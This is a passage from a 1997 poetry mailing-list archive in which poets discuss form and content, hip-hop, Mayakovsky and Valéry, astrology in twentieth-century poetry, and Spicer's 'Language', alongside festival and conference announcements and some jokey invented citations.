(or never really got into) the talk around language poetry and has therefore obscured -- to my mind -- a sense of where poetry comes from and (by extension) where it can conceivably go.

And I would also, while I'm at it, want to put in a word about David Antin & anthologies, since David is my oldest & remains one of my dearest friends over all these many years, viz that David's crack about anthologies -- like others about Lowell and the (so-called) sacred and the dreams that he once claimed not to have -- is a very directed remark aimed at something that he wants to get at or around under very particular circumstances. He has therefore been my closest (silent) collaborator on various anthologies, beinning with Technicians of the SACRED about which he knows as much (or more) as anyone around.

I would also be very interested in what your own project is -- to get a better handle on it. But maybe it would be better to continue this, if you want to, by the back channel method.

With all best,

Jerome Rothenberg
[redacted]

↑ Index

497. Matthias Regan
Re: formally disturbed
Tue 18 Mar 1997

Chris w0r9ttu2tin49g;a:

> *btw, what are these recent hip-hop breakthroughs?*

Having just this weekend caught the hip/hop/rap documentary, "Rhyme & Reason" I second this question.
Anyone else seen this?
I thought the docu. itself
nothing inspired, but some
of what the artists said
was interesting--though
often the "importance"
of the movie's expectations
seemed determined to a large part
by racist cultural expectations,
as Ice-T pointed out regarding
the size of his house.

Anyone else see this yet?

Matthias

Matthias Regan
Northwestern University

Department of Chemistry
Phone: 847/[redacted]

↑ Index

498. **Sylvester Pollet**
Re: formally disturbed
Tue 18 Mar 1997

Henry--and if I read you right, your School of Providence, the hot seat in the front of the room would be the eclectic chair?

> *On Tue, 18 Mar 1997 10:52:48 -0500 Mark Prejsnar said:*
> *Uhh, do you refer us to any actual living poets??*
>
> *If I see any I'll let you know. - the Ghoul*
>
> *ALLEGORY OF THE POETS*
>
> *The were clustered together in the Crystal Room,*
> *the Poets. Dressed in leather and velvet, and*
> *sprawled across the loveseats with carefree*
> *insouciance, they spoke in measured sentences*
> *of the coming Reading; of their various*
> *accomplishments; their travels near and far;*
> *their books, their audiences, their salaries.*
> *They laughed and winked and nodded and stared*
> *like ordinary men and women.*
>
> *No one*
> *sat in the Chair that faced them, solitary,*
> *at the end of the room. They waited*
> *for someone to come, but no one came.*
> *They chatted on, waiting, for hours there...*
> *but I can't remember what they said,*
> *and I forget their names.*

↑ Index

499. **Christina Fairbank Chirot**
Re: Tree/formally disturbed/ deep need
Tue 18 Mar 1997

---

from HOW ARE VERSES MADE
by V. MAYAKOVSKY

(Moscow, 1926; London: Jonathan
Cape, 1970
translated

G. M Hyde)

Here there is no call to take up the metaphysical question of who is better, Demyn Bedny("an example of a social command for today which has been properly understood") or Kruchonykh("its aim or purpose is to assist future poets"). These are poetcial achievements of very different kinds, on different planes, and each of them can exist without excluding the other and without competing with the other . . .

I am deliberately exagerting because I want to show more strikingly that the essence of modern literary work doesn't lie in the evaluation of this or that ready-made thing from the standpointof literary taste, but in a correct approach to the study of the productive process itself . . .

How are verses made?
Work begins long before one receives or is aware of a social command.
Preliminary work goes on incessantly . . .

A poet regards every meeting, every signpost, every event in whatever circumstances simply as material to be shaped into words(20-21,24).

Mike Boughn made a good point re "this or that ready-made thing"--and expectancy--

incessant preliminary work--study of process--every event-material shaped into words-

Mayakovsky's book was written for a series for schools and such--along with books on" How are . . .s made" (ships, shoes, paste, paper, etc etc)

maybe instead of anthology arguments (and noticed no one has as yet mentioned very good one--Primary Trouble--from Talisman House)--

some how to books---

"Do you want to write, and want to know how it's done . . .You're right to demand of poets that they shouldn't carry with them to the grave the secrets of their skill. "I want to write about poetry not as a pedant, but as a practitioner. My article has no scholarly significance. I write about my work, which by the light of my observations and convictions, I see as differing very little from the work of other professional poets. "Once again I want to insist that I offer no rules to make anyone a poet, by following which he can write poetry. Such rules simply don't exist. A poet is a person who creates these very rules" (12-13)

--dbchirot

↑ Index

500. **henry**
Re: formally disturbed
Tue 18 Mar 1997

On Tue, 18 Mar 1997 14:48:50 -0500 Sylvester Pollet said:
>Henry--and if I read you right, your School of Providence, the hot seat in
>the front of the room would be the eclectic chair?

Close, close. Not Providence - Paradise. Dante saw it there with Bea - it was still empty. (They were waiting for Henry to show.)

↑ Index

501. **henry**
Re: Tree/formally disturbed/ deep need
Tue 18 Mar 1997

To go along with Mayakovsky:

"the poetics of the future will focus on the poetic IMPULSE". (Mandelstam)

↑ Index

502. **henry**
Re: formally disturbed
Tue 18 Mar 1997

On Tue, 18 Mar 1997 14:11:58 -0500 William Burmeister Prod said:
>
>truly "new"? Is anything ever "new"? Are we just dwarves on the backs of the
>literary giants? (Born at the wrong time I guess). Rilke had as high an
>estimation of poetry, but we all know that he too could be boring or
>predictable at times. Breakthroughs as breakaways, break outs, break offs,

"Unless you do battle with giants, you will remain a dwarf."

- Hrothgar the Troublesome, Jr.
>
>I do like where all this discussion is going. To me though, this post seems to
>suggest the death of poetry (?) The endgame as Marjorie suggests in Radical
>Artifice.

"Some of it should have died a long time ago."
- Hrothgar the Third Artificer

↑ Index

503. **amato**
Re: Astrology poetics
Tue 18 Mar 1997

jerry, what i would mself find very useful would be a discussion of the "mystic" (shorthand) as this might be made to resonate with the "social" (more shorthand)... i'm not so interested in classroom practices -- where i'm pretty certain the "mystic" is no less harmful than, say (again) "craft"... i am, though, interested in what to do about more popular, representational biases against poet-madmen/women -- which i find a damaging and problematic mysti-fication on so many fronts... seems to me there's also this issue of social responsibility, however ecstatic one's apprehension (not meaning to raise any eyebrows around here but---)...

all to steal a bit of thunder from a short conference paper i'm busy tweaking...

seems to me that, going back some, whitman is one obvious north american lead-in...

best,

joe

↑ Index

504. **oren.izenberg**
Re: Astrology poetics
Tue 18 Mar 1997

Ira,

You can always count on Yeats when it comes to such atavistic enthusiasms...astrology figured into his syncretism along with mysticism (various kinds), ceremonial magic (always subject, for Yeats, to empirical verification), alchemy, Theosophy, Rosicrucianism, etc. etc...

Best,
O.

↑ Index

505. **Joseph Lease**
Re: Contraries/I will not rest from Mental Fight, etc.
Tue 18 Mar 1997

for one thing form is never more than an extension of content means that content becomes form and extends form: so the reality of form is integral: experience made actual in a construct of words

↑ Index

506. William Burmeister Prod
Re: formally disturbed
Tue 18 Mar 1997

On Tue, 18 Mar 1997 14:11:58 -0500 William Burmeister Prod said:
>
>truly "new"? Is anything ever "new"? Are we just dwarves on the backs of the
>literary giants? (Born at the wrong time I guess). Rilke had as high an
>estimation of poetry, but we all know that he too could be boring or
>predictable at times. Breakthroughs as breakaways, break outs, break offs,

> *"Unless you do battle with giants, you will remain a dwarf."*
>
> *- Hrothgar the Troublesome, Jr.*
>
> *I do like where all this discussion is going. To me though, this post seems to suggest the death of poetry (?) The endgame as Marjorie suggests in Radical Artifice.*
>
> *"Some of it should have died a long time ago."*
> *- Hrothgar the Third Artificer*

Ok Hrothgar. I can appreciate the "battling with giants" homily for now. Let's say I too am a tomb dweller, but hip-hop? Isn't that going from tomb to Hollywood (by present indications at any rate)? How does today's hip-hop stand in with the symbolists, Whitman, and Dickinson? I wouldn't dare stand in the same room with Ice-T for fear of being riddled by something other than words.

Bill B.

↑ Index

507. Matthias Regan
Contraries will not rest/Mental Fight, etc.
Tue 18 Mar 1997

But the experience might be an experience of experiencing form.

The perfect sentence.

A variation on it.

> *for one thing form is never more than an extension of content means that content becomes form and extends form: so the reality of form is integral: experience made actual in a construct of words*

ps. I hope experience is conceived to be more than form; that form is imperfect.

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

508. **Joe Safdie**
Re: Contraries will not rest/Mental Fight, etc.
Tue 18 Mar 1997

Okay, I vote that the next post that mentions either "form" OR "content" be relegated to oblivion -- or at least ignored for a few days.

I mean, this can get to be head-hurting stuff, and as a sweeping rejection of that possibility, I salute Henry's exemplary balderdash.

I myself had to go back into the archives (i.e., last week's posts) to try and make sense of what, exactly, we were talking about: one of Joe Amato's earliest posts last week said he was "slipping and sliding on a form/ content dualism here" -- implying that that dualism was really artificial -- and this has since been echoed by many comments, including Ms. Perloff's that, for her, "there is no subject matter outside form" and "form and content can't be separated." Appreciating David Kellogg's latest, that it is in fact almost impossible to talk about poems without separating them, I want to say I AGREE with those who say we should try and keep them together: I was trying to demean empty form without content (and by the way, Mark P., did you know that Pound considered _Finnegans Wake_ "decadent"?), while others have disparaged poems that appear to be just "content" (or poems that come from and speak to various "identity" communities) which don't seem to have "innovative" form.

Of course these are all loaded terms and mean different things to different people. But if there's an issue here for me, it's that, once these terms are separated, or talked about as if they were separate, mischief begins. That is, I agree with Jordan that it's mystification to think that a form can force a message -- I agree with Marjorie that "one can use all the fragments and dislocations around and still not have a good 'langpo' " -- and I CERTAINLY agree with the (perhaps unintended) hilarity contained in this post (sorry, I forgot its author):

" . . . a critical language that honors lang-po -- in fact, much lang-po IS a critical language honoring lang-po"

Is this not form without content?

So it's not an ontological argument, Michael -- it's a phenomenological argument. The "work" of the poem, as it's undertaken -- that "stuff", those (ap)perceptions, that dynamically developing, meaning-making articulation -- creates

its own form, the only form that can possibly encompass that meaning. Who would possibly WANT to separate them, except politicians of some order?

Robert A., I look forward to your interview, and it wasn't a low blow or personal attack;

Mark P., glad to see your list of influences, many of whom are in fact problematic for me (even the sainted Zukofsky), but hey, I'm starting to think I'm almost illiterate compared to the denizens of this list; maybe this post is a bit less confusing about what I meant.

and thank you especially Chris S., for your wonderful contributions to this and other issues. I really want to talk about astrology now . . .

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509. Louis Cabri
far reader
Wed 19 Mar 1997

Robert Mittenthal brilliantly critiques James Scully's book, _Line Break_, starting from the fact that while the book is about the "the social practice of poetry" poetry is hardly ever referred to described or invoked. And Scully didn't even write his book on a listserv! (See Mittenthal's review in _Writing_ 25 [1990].) Of course arguing from out of - from within - poetry does not _garantee_ a better argument either - that is, a truly "deep encounter," for instance, as Christopher Alexander would urge practitioners to experience with their medium. Does close reading even garantee an argument? No longer - yet perhaps if you are reading the Metaphysicals, Chris. Thus it might be necessary in arguing for the "social practice of poetry" to not mention poetry at all. Of course arguing _alongside_ poetry, in paralogue as it were, does not garantee a better argument either - that is, a truly deep encounter with "social practice...." Apart from saying that, I may as well also state that for me there are so many unhelpful contradictions and connotations in the language of the quotation from Scully's book, that I think David Kellogg posted, I don't know where to even begin in pointing them out. Here's one, not necessarily the best: Is he for or against a "metahistorical source of illumination" for poetry? From his own disparaging language, I would say definitely not. Yet I can't figure out from the quotation how he proposes that "shared understanding" would occur elsewise. Share my cropper.

Ira, re: astrology, try Cdn. Gwendolyn MacEwan (b.1941)--

> There is a great unspeakable wheel which keeps
> Us slender as myths, and green with sleep.

Warning: This is a general reference in that I have no investment,

psychical speculative or otherwise, in MacEwan's work. Force that mystifies a message is form.

I've always liked Steve McCaffery's early concept of the cipheral (he later rejected it) to think about that aspect of language practice which eludes exhaustion by conventions of sense making and contextual reception. Neither "form" nor "innovative form" do the same work as "cipheral" of disclosing the poem as a visual materialized surface and also as a set of devices that jam the codes of sense-making beyond the means of the best close reader, while reaching out, in the same stroke, to other readers: far readers (anybodies, nobodies, other communities, classes, subgroups). "Nonsense," which has been variously used to invoke this sort of poetry, forever indefinable yet concrete, that is "at the edge" "vanguard" "etc," is inadequate - far too taming of the social revolutionary practice of the poem. This does not resolve itself as a tame question of genre, as "nonsense" has suggested it can be - to, for example, Marnie Parsons, and others who have written on Bernstein, Hejinian, Lear, etc. The cipheral aspect of poetry is perhaps its spectral aspect, which has to do with tombs, those that Henry mentions, the dead letter, but not as much with the mystic mists as with the future as mysterious, future readings yet to be articulated. The social practice of the poem would operate on the analogy of Ernesto Laclau's "empty signifier." He is talking of the empty signifier on a macro political scale. For him, for instance, "social" would be an empty signifier, around which rallies a movement for change; and the reason why it's empty for him is that it's meaning is indefinite, and open to multiple, conflicting interpretations by various communities. Until it is realized to have no meaning, at which point it is dropped as valueless.

Chop it off,
Louis Cabri

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510. **David Israel**
Re: astrology poetics
Wed 19 Mar 1997

Re: Ira Lightman's --

<<Does anyone know of poetry, music or any other art form influenced by astrology and the zodiac, esp. twentieth century work? >>

here's one stray item:

record album *Venus in Cancer* by the late Robbie Basho (Tacoma Records, I think was the label) -- Robbie (like the present e-writer) happened to have said planet in said sign; (Basho recorded abt. a dozen albums, till his demise (early 80s); he was a steel-string guitar innovator, sometimes linked with John Fahey

& Leo Kotke as a threesome of antecedents to the so-called Windham Hill school of solo guitar); he explained the title *Venus in Cancer* (as I recall) simply by noting that he'd always had a certain feeling abt. Venus in Cancer, and that same was given expression (I think in an eponymous track). BTW, Robbie was unhappy w/ the absurd cover-art (involving a pair of nubile women, I think) -- not quite his own design; so he would paste-over Indian prints of Meher Baba attired as Krishna (on copies he sold of this album ...)

(& BTW Henry Gould -- this is not apocryphal nor blarney -- I sold copies of same at the Meher Baba Bookstore in Pasadena, circa 1973)

d.i.

↑ Index

511. **Pierre Joris**
Re: Astrology poetics
Wed 19 Mar 1997

Ira -- Jerry mentioned Robert Kelly's birthchart for the US in IO --
there are many other Kelly works that involve astrology. Check for
exampole the ZODIAC CYCLE in _Finding the Measure_ (Black Sparrow 1968)
-- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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512. **Miekal And**
[Fwd: LitLink news release]
Wed 19 Mar 1997

---

id KAA10469; Wed, 19 Mar 1997 10:58:03 -0600 (CST)
Date: Wed, 19 Mar 1997 10:58:03 -0600 (CST)

To: [redacted]
From: [redacted] (Bob Gale)
Subject: LitLink news release

NEWS RELEASE 3/17/97

=46or Immediate Release -- Please redistribute
Contact: [redacted]

LITLINK LITERARY ARTS FESTIVAL, SUNDAY,
APRIL 27, AT CALHOUN SQUARE, MINNEAPOLIS, MN

SECOND ANNUAL NATIONAL POETRY MONTH CELEBRATION
SHOWCASING DIVERSITY OF TWIN CITIES LITERARY ARTS COMMUNITY

LitLink Literary Arts Festival, one of the nation's largest free celebrations of the second annual National Poetry Month of April, is to take place at Calhoun Square, April 27, noon - 6:00 p.m., in Uptown Minneapolis. Spearheaded nationally by The Academy of American Poets, this local festival is created to bring poetry to the broad public making it playful, relevant, and accessible to everyone. Minnesota's top literary arts presses and organizations will participate in this community celebration of literary arts exhibitions and events. Highlights include:

+ Exhibition of 40 small press publishers and literary arts organizations. + Magnetic Poetry Kit=81, makers of one of the world's most successful non-book literary products of all time, will build a 8'x 20' metal wall covered with thousands of Magnetic Poetry words for people to create their own poems. Founder Dave Kapell will make a presentation of the one millionth Kit. + Cabaret by the Cacophony Chorus, the Twin Cities leading spoken word performance series. + Showcase of cutting edge video poetry and spoken word recordings. + Selection of poetry workshops and community forums. + Readings and book signings from top Minnesota authors. + Open stage reading and poetry slam for coffeehouse poets and the general public alike.

This free event is co-sponsored in part by Borders Book Shop-Uptown Minneapolis, Calhoun Square, Coffee House Press, Cowles Foundation, Graywolf Press, The Loft, London Productions, Magnetic Poetry, Milkweed Editions, Minnesota Center for Book Arts, New Rivers Press, S.A.S.E.: The Write Place, and YMCA Writer's Voice Project. To request an exhibitor brochure, please call [redacted] or browse our web site at www.spoken.com/festival for more information.

London Productions
3010 Hennepin Ave S, #245, Minnapolis, MN 55408 USA
voice [redacted] fax [redacted]
[redacted] http://www.spoken.com =20

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513. Kathleen Crown
Re: Astrological poetics
Wed 19 Mar 1997

Ira,

You might be interested in the angelology & mathematics of H.D.'s long poem SAGESSE (1957), in which degrees of an astrological chart become angel-visitants. The poem is in HERMETIC DEFINITION.

Kathy Crown
--

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514. Kathleen Crown
Poetry and the Public Sphere
Wed 19 Mar 1997

"POETRY AND THE PUBLIC SPHERE: A CONFERENCE ON CONTEMPORARY POETRY," April 24-27, 1997, at Rutgers University, New Brunswick, New Jersey, now has a website with a complete and up-to-date schedule of events, along with registration forms and useful information about lodging, meals, and travel. You can access the website from a link at the EPC (thanks to Loss Glazier, highly appreciated information superhighway worker).

http://english.rutgers.edu/poetry.html

Readings by Amiri Baraka, Tracie Morris, Willie Perdomo, Aileen Reyes, keith roach, Carl Hancock Rux; Adrienne Rich, Cheryl Clarke, Alicia Ostriker, Robin Pastorio-Newman; Eliot Katz, Ed Roberson, Robert Hass, Sonia Sanchez and others

Keynote Panelists: Meena Alexander, Charles Altieri, Charles Bernstein, Abena Busia, Maria Damon, Cary Nelson, Arnold Rampersad, and Tricia Rose

PARTICIPANTS include Charles Alexander, Amittai Aviram, Michael Bibby, Steve Caton, Michael Davidson, Marianne DeKoven, Rachel Blau DuPlessis, Susan Stanford Friedman, Ed Foster, Alan Golding, Lynn Keller, James Haba, Bob Holman, Walter Kalaidjian, Bob Perelman, Ross Talarico, Michael Taussig; Jan Barry, Regie Cabico, Rafael Campo, Andy Clausen, Enid Dame, Carolyn Forche, Loss Pequen~o Glazier, Lisa Jarnot, Irena Klepfisz, Rachel Hadas, Michael Heller, Albert Mobilio, Burt Kimmelman, Ted Pearson, Robyn Selman, Vijay Seshadri, Grace Schulman, Susan Schultz, Leonard Schwartz, Armand Schwerner,

Mary Margaret Sloan, Pamela Sneed, Gerald Stern, Michael Weaver, Susan Wheeler, and others.

Email inquiries to the Conference Coordinators--Harriet Davidson, Kathleen Crown, and Nicholas Yasinski--at [redacted] or leave a phone message at [redacted].

--

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515. **Michael Boughn**
Re: Contraries/I will not rest from Mental Fight, etc.
Wed 19 Mar 1997

Joe, I always think of Valery's proposal of the poem erupting or arising out of the insistence of a specific rhythm that invades the mind. That would seem to anticipate Kristeva. Doesn't the phenomenological return us to some point before the intervention of taxonomy?

Mike
[redacted]

↑ Index

516. **Louis Cabri**
angelology
Wed 19 Mar 1997

Michel Serres has a book, _Angels: A Modern Myth_, or close to that, publ. 1995, set, much like Godard set Mary & Joseph at a gas pump, at the Paris airport, where the busy archtectture itself repeats the patterns of "angel-visitants" who come and go from one destination to another as messengers of other worlds. -Louis

↑ Index

517. **henry**
Re: far reader
Wed 19 Mar 1997

On Wed, 19 Mar 1997 00:11:30 -0500 Louis Cabri said:
>
>I've always liked Steve McCaffery's early concept of the cipheral
>(he later rejected it) to think about that aspect of language
>practice which eludes exhaustion by conventions of sense making
>and contextual reception. Neither "form" nor "innovative form" do

>the same work as "cipheral" of disclosing the poem as a visual
>materialized surface and also as a set of devices that jam the
>codes of sense-making beyond the means of the best close reader,
>while reaching out, in the same stroke, to other readers: far
>readers (anybodies, nobodies, other communities, classes,
>subgroups). "Nonsense," which has been variously used to invoke
>this sort of poetry, forever indefinable yet concrete, that is
>"at the edge" "vanguard" "etc," is inadequate - far too taming of
>the social revolutionary practice of the poem. This does not

I like the term "cipheral" - this is sort of what I was getting at when I said "poetry is verbal espionage". I guess I question the revolutionary potential of it. It's more like subversive - a practice that grows up under repressive state apparati. But for me the political aspect is less interesting than the allegorical literary aspect of sending a very specific secret message.

> *who have written on Bernstein, Hejinian, Lear, etc. The cipheral aspect of poetry is perhaps its spectral aspect, which has to do with tombs, those that Henry mentions, the dead letter, but not as much with the mystic mists as with the future as mysterious, future readings yet to be articulated. The social practice of the poem would operate on the analogy of Ernesto Laclau's "empty signifier." He is talking of the empty signifier on a macro*

See Mandelstam "On the Interlocutor". The proper audience is the unknown, particular, specific reader in the future. "Yet again I will liken the poem to an Egyptian ship of the dead, in which is stored everything necessary for life." (O.M.) - Henry G.

↑ Index

518. **henry**
Re: Contraries/I will not rest from Mental Fight, etc.
Wed 19 Mar 1997

On Wed, 19 Mar 1997 07:41:13 -0500 Michael Boughn said:
>Joe, I always think of Valery's proposal of the poem erupting or
>arising out of the insistence of a specific rhythm that invades the
>mind. That would seem to anticipate Kristeva. Doesn't the
>phenomenological return us to some point before the intervention of
>taxonomy?

I'm glad you brought up Valery. I think this whole form/content slosh was best articulated in his essay "Poetry and Abstract Thought" where he differentiates poetry from prose in terms of a pendulum effect. There IS pure form - the hypnotic rhythm/sound/meaning of the actual words - which swings like a

pendulum into the reader's mind and sets off its cognitive/emotive effects, enacts its changes. Then the pendulum swings back and the pure form REMAINS - in memory, in culture (2nd life of art). Prose, on the other hand, swings its effects into the mind - and dissolves after completing its work. - Henry G

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519. **henry**
Re: astrology poetics
Wed 19 Mar 1997

On Wed, 19 Mar 1997 00:31:08 -0500 David Israel said:
>
>(& BTW Henry Gould -- this is not apocryphal nor blarney -- I sold
>copies of same at the Meher Baba Bookstore in Pasadena, circa 1973)

Eric Blarnes, at least according to his biographer, Ronald Singh (_Eric Blarnes : a Double Half-Life_, Benares Univ. Press, 1987, pp.53-59), used to carry Leo Kottke's guitar cases for him on tour in the early 70s. This MAY have brought him into the Meher Baba periphery in southern California: my early copies of Pasadena Sun Rock Magazine advertise Kottke performing at Loose Change Coffeehouse & Headshop in July of 1972. Whether this connection is real, or provided some impetus to Windham Hill new age loop-guitar styles - it's too early to tell without further research. I believe Madras Wilson is doing his dissertation on the cultural coding overlap of instrument-holding techniques of 70s guitarists and sitar-players, and his efforts may bear fruit in this regard - worth watching. - Henry Gould

↑ Index

520. **Louis Cabri**
Re: angelology
Wed 19 Mar 1997

Sittin' at the terminal
for ten
minutes just watchin'
the messages
come in, yeah Beats
fountains
in Rome Yea

↑ Index

521. **Sylvester Pollet**
Re: astrology poetics
Wed 19 Mar 1997

> *On Wed, 19 Mar 1997 00:31:08 -0500 David Israel said:*
>
> *(& BTW Henry Gould -- this is not apocryphal nor blarney -- I sold copies of same at the Meher Baba Bookstore in Pasadena, circa 1973)*
>
> *Eric Blarnes, at least according to his biographer, Ronald Singh (_Eric Blarnes : a Double Half-Life_, Benares Univ. Press, 1987, pp.53-59), used to carry Leo Kottke's guitar cases for him on tour in the early 70s. This MAY have brought him into the Meher Baba periphery in southern California: my early copies of Pasadena Sun Rock Magazine advertise Kottke performing at Loose Change Coffeehouse & Headshop in July of 1972. Whether this connection is real, or provided some impetus to Windham Hill new age loop-guitar styles - it's too early to tell without further research. I believe Madras Wilson is doing his dissertation on the cultural coding overlap of instrument-holding techniques of 70s guitarists and sitar-players, and his efforts may bear fruit in this regard - worth watching. - Henry Gould*

Henry--Thanks for Allegory, and for this fascinating material. I'm happy indeed that we've moved beyond your poet of the laundromat--what was his name, Jack Spindry?

↑ Index

522. **Gwyn McVay**
Re: Astrological poetics
Wed 19 Mar 1997

There are passages in John Wieners' journals about the alignment of planets and such. (again, at work, no wonderful bookshelves in front of me)

Gwyn

↑ Index

523. **Jordan Davis**
Mystery Poetry Theater 3000
Wed 19 Mar 1997

Could there not be a dynamics of form to accomodate such varying practices as Rod Smith's Carolyn Forche's Joan Retallack's and Joe Ross's? Could we not bottle it and call it DC Spring? How long until the cherry blossoms start?

All of this about form and content seems so far from what has been said by reasonable and amusing people about what writing is like (or reading for that

matter) that I feel like I'm stuck in the middle period of Joseph Beuys learning about electricity. Or, the IRS as described on NPR the other day: organizational processes from the 50s, technology from the 70s. As opposed to PAP (Postmodern [north]American Poetry) which uses organizational processes from the 60s and technology from the 80s.

Eau de beagle,
Jordan

↑ Index

524. Charles Alexander
Mimeograph/Ditto printing
Wed 19 Mar 1997

Given the conversation not long ago here, I thought I'd forward this message in case anyone might want to check it out.

charles

>
>Those interested in Mimeograph/Ditto printing might want to take a look at
>the archives of Exlibris a listserv for the rare books and special
>collections community.
>
>The URL is
><http://palimpsest.stanford.edu/byform/mailing-lists/exlibris/1997/03/>.
>
>Pretty interesting stuff for the most part. Richard Minsky had some
>interesting comments as well.
>
>Peter
>
>
>>>> I love working in the library. <<<
>>>There is something to be said for working in a place bound in leather.<<
>
>Peter D. Verheyen <wk> [redacted]
>Conservation Librarian <fax>[redacted]
>Syracuse University Library <email>[redacted]
>Syracuse University <www>http://www.dreamscape.com/pdverhey
>Syracuse, NY 13244 <Listowner>[redacted]
>
>

Light blue and the same red with purple makes a change. It shows that there is no mistake. Any pink shows that and very likely it is reasonable.

Gertrude Stein, from "A Substance In A Cushion," in TENDER BUTTONS

Charles Alexander
Chax Press
[redacted]

↑ Index

525. Douglas Barbour

Re: pre-determined form in the avant garde

Wed 19 Mar 1997

I have to agree with Mark Wallace:

" In any case, the relation between exploratory and pre-determined form is quite complex--in some cases, predetermined forms of various types and degrees can certainly be exploratory and about discovery."

And Marjorie has written a lot about such things. I do think that Creeley's mantra still works in relation to such. And then, as someone who reads poetry & SF, I think of Samuel R. Delany's somewhat similar statement "Put in opposition to 'style'[form], there is no such thing as 'content'." Which makes clear that the opposition _is_ a false dichotomy, a constructed one. One thing is for sure: setting up some arbitrary formal controls often allows for creative discovery in the writing, & that, if (or when) it works, can create a poem worth reading.

Well, hey, what about all those 'sonnets' in _In the Analogy_ -- a stunningly beautiful book, & one that's going to take a long time to read, but given _From Feathers to Iron_ I know I'm going to find it stunning as poetry too. I do recommend it to all.

========== Douglas Barbour
How long Department of English

University of Alberta it takes for the promise to arrive, Edmonton
Alberta T6G 2E5 shaped as a flirt, a cheating [redacted]
FAX:[redacted] kiss, a whistle, an ambulance. H: [redacted]
John Tranter

↑ Index

526. **Mark Prejsnar**
Re: Mystery Poetry Theater 3000
Wed 19 Mar 1997

Whew! there sure have been a lot of superior-sounding posts recently..I personally found a lot of the posts on the recent thread very useful and provocative--Several comments by these folks who are apparently much smarter than the rest of us, have characterized the thread as being about form and content..If they're thinking about the same thread I am, it was about a number of poetics issues, not all of which could be so characterized. Maybe these folks, being so much more "reasonable and amusing," actually have some poetics cherry blossoms of their own to contribute??

Mark P.

On Wed, 19 Mar 1997, Jordan Davis wrote:

> *Could there not be a dynamics of form to accomodate such varying practices as Rod Smith's Carolyn Forche's Joan Retallack's and Joe Ross's? Could we not bottle it and call it DC Spring? How long until the cherry blossoms start?*
>
> *All of this about form and content seems so far from what has been said by reasonable and amusing people about what writing is like (or reading for that matter) that I feel like I'm stuck in the middle period of Joseph Beuys learning about electricity. Or, the IRS as described on NPR the other day: organizational processes from the 50s, technology from the 70s. As opposed to PAP (Postmodern [north]American Poetry) which uses organizational processes from the 60s and technology from the 80s.*
>
> *Eau de beagle,*
> *Jordan*

↑ Index

527. **henry gould**
Re: formally disturbed
Wed 19 Mar 1997

On Tue, 18 Mar 1997 16:42:36 -0500 William Burmeister Prod said:
>
>Ok Hrothgar. I can appreciate the "battling with giants" homily for now. Let's
>say I too am a tomb dweller, but hip-hop? Isn't that going from tomb to
>Hollywood (by present indications at any rate)? How does today's hip-hop
stand

>in with the symbolists, Whitman, and Dickinson? I wouldn't dare stand in the
>same room with Ice-T for fear of being riddled by something other than words.

As a library worker, I have some special access. I checked with a Signor Borges, who referred me to certain archives of the future. Under the subject AMERICAN LITERATURE - POETRY - LATE 20th CENTURY, you will find eight titles published between 2012 and 2120, specifically dealing with the rap/langpo dialectic as an index of cultural dissonance in late-20th cent. US culture. You will find 3 books on Rap metrics/rhyme, and an whopping 85 titles on poetry as performance in late millenial caffeine etiquette.
An if you mess wi me
you gonna bookified be
I am the numbala one king
of dis library thing
I say libuububububary bury me
baby inna bubblemath sea - hey
- Henny Ghoul'd

↑ Index

528. **dbkk**
Astrology poetics/Spicer's "Language"
Wed 19 Mar 1997

Dear Ira, it's Kevin Killian. Here's a piece by Jack Spicer which is an *anti-astrology* poem, I hope this counts in your survey.

³If you don¹t believe in a god, don¹t quote him,²
    Valéry once said when he was about ready to give
    up poetry. The purposefull suspension of dis-
    belief has about the chance of a snowball in hell.
Lamias maybe, or succubi but they are about as real in
    California as night-crawlers
Gods or stars or totems are not game-animals.
    Snark-hunting
    is not like discussing baseball.
Against wisdom as such. Such
Tired wisdoms as the game-hunters develop
Shooting Zeus, Alpha Centauri, wolf with the same toy gun.
It is deadly hard to worship god, star, and totem. Deadly
    easy
To use them like worn-out condoms spattered by your own
    gleeful, crass, and unworshiping
Wisdom

The Duncan-Spicer crowd was way influenced by astrology--in this poem Spicer is attacking Robert Duncan, George Stanley and Harold Dull for their repetitive use of astrology in their then (1964) current projects . . . aligning himself with Charles Olson who in his 50s essay "Against Wisdom as Such" had warned American readers about San Francisco writing as a school of mages "ominous as Ojai."

This poem is from Spicer's "Love Poems" in his book "Language."

Now I get to repeat my *songspiel.* A marvelous benefactor has given Small Press Traffic a number of copies of the first edition of Spicer's "Language" allowing us to sell them to benefit the organization. They are in mint condition and you have never seen anything as beautiful as this book, more often now seen in rare book catalogues looking tattered, dirty, and gray and still costing a bomb. She (anonymous benefactor) wants us to make sure they get into what she calls "the right hands" (those of artists and poets) so, a couple months ago, Dodie Bellamy announced this offer through the poetics list to *quelle* response. There are however still a few copies left, so, if anyone is interested, back channel me or Dodie at [redacted] for more information. And now back to regularly scheduled programming.

↑ Index

529. Wendy Battin
Re: Astrological poetics
Wed 19 Mar 1997

On Wed, 19 Mar 1997, Kathleen Crown wrote:
> You might be interested in the angelology & mathematics of H.D.'s long poem
> SAGESSE (1957), in which degrees of an astrological chart become
> angel-visitants. The poem is in HERMETIC DEFINITION.

About 30 years after Marc Edmund Jones' Sabian Symbols, all 360 of them, supposedly "channeled" (canal-ed like Mars?) but quite a poem in itself.

Wendy

↑ Index

530. aerialedge
Re: Mystery Poetry Theater 3000
Wed 19 Mar 1997

Dear Jordan,

I am a tourist with too much of the language.

Reasonable?

Amusing?

You're just mad cause they're not being hermetic enough?
or else cause technology is driving history off of several cliffs at once?
it's important?

"to err is statemental" &

today has already been observed

pay our Mr Davis no-mind & tribute for only it is that he yelleth "shower" in _The Norton Anthology of Sick Monks_.

--Rod

↑ Index

531. **Maryrose Larkin**
Re: Astrology poetics/music
Wed 19 Mar 1997

Has anyone mentioned George Crumb's Makrokosmos? I think both sets are based on the zodiac. The scores are quite lovely.

Maryrose Larkin

↑ Index

532. **Jordan Davis**
force mouth content
Wed 19 Mar 1997

Sorry. Looked from here like there was a lot about 'force' 'mouth' 'content'. I will try to work up a paraphrase of the findings for the subcommittee.

Jordan

↑ Index

533. **dbkk**
Re: Spicer's "Language"
Wed 19 Mar 1997

